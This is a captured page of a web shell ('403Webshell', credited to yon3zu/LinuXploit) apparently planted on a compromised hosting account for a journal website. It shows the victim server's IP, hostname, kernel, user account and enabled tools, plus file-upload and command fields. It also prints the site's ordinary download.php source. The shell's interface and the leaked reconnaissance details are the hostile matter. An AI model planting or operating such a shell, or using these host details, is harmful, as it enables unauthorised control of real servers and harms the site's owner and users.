403Webshell
Server IP : 192.169.170.185  /  Your IP : 216.73.216.97
Web Server : Apache
System : Linux p3plmcpnl495852.prod.phx3.secureserver.net 4.18.0-553.52.1.lve.el8.x86_64 #1 SMP Wed May 21 15:31:29 UTC 2025 x86_64
User : akhilnew ( 1712764)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/akhilnew/public_html/reflectivejournals.com/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/akhilnew/public_html/reflectivejournals.com/download.php
<?php
require_once("inc/config.php");
require_once(INC . "functions.php");

$notfound = '<html><head><title>404 Page Not Found</title><link rel="shortcut icon" href="' . $imageurl . 'favicon.ico" /><style>*{margin:0px;padding:0px;box-sizing:border-box;outline:none;font-family:Arial, Helvetica, sans-serif}.error{max-width:400px;height:245px;position:fixed;top:0px;bottom:0px;left:0px;right:0px;margin:auto;text-align:center}h1{font-size:96px}h4{font-weight:normal}p{font-size:13px}a{background:#0c375b;padding:9px 18px;text-decoration:none;font-size:12px;color:#fff;font-weight:bold;border-radius:2px;-moz-border-radius:2px;-webkit-border-radius:2px;}</style></head><div class="error"><h1>404</h1><h4>OOPS, SORRY WE CAN&apos;T FIND THAT PAGE</h4><br clear="all"><p>Either something went wrong or the page doesn&apos;t exist anymore.</p><br clear="all"><br clear="all"><a href="' . $baseurl . '">HOME PAGE</a></div></html>';

$articleid = isset($_GET['articleid']) ? sanitize(escape($_GET['articleid'])) : NULL;
$file = isset($_GET['file']) ? rtrim(sanitize(escape($_GET['file'])), '.php') : NULL;

if(($articleid && $file)):
	$stmt = $mysqli->prepare("SELECT year, volume, issue, part, views, downloads FROM archives WHERE archivesid = ?") or die("An error occurred. Please try after some time.");
	$stmt->bind_param('i', $articleid);
	$stmt->execute();
	$stmt->store_result();
	$stmt->num_rows();
	$stmt->bind_result($year, $volume, $issue, $part, $views, $downloads);
	$stmt->fetch();
	$stmt->close();
	$path = $year . '/vol' . $volume . 'issue' . $issue . '/' . $part . '/' . $file;

	if(file_exists($archiveuploadpath . $path)):
		$newviews = $views + 1;
		$newdownloads = $downloads + 1;
		$stmt = $mysqli->prepare("UPDATE archives SET views = ?, downloads = ? WHERE archivesid = ?") or die("An error occurred. Please try after some time.");
		$stmt->bind_param('iii', $newviews, $newdownloads, $articleid);
		$stmt->execute();
		$stmt->close();
		$mysqli->close();

//		header("Location: {$archivesdir}{$path}");
		
		$ext = strtolower(pathinfo($archivesdir . $path, PATHINFO_EXTENSION));

		ob_clean();
		header("Cache-Control: no-store");
		header("Expires: 0");
		header('Content-type: application/' . $ext);
		header('Content-Disposition: inline; filename="' . $file . '"');
		header('Content-Transfer-Encoding: binary');
		header('Accept-Ranges: bytes');
		@readfile($archiveuploadpath . $path);
		exit();
	else:
		die($notfound);
	endif;
else:
	die($notfound);
endif;
?>

Youez - 2016 - github.com/yon3zu
LinuXploit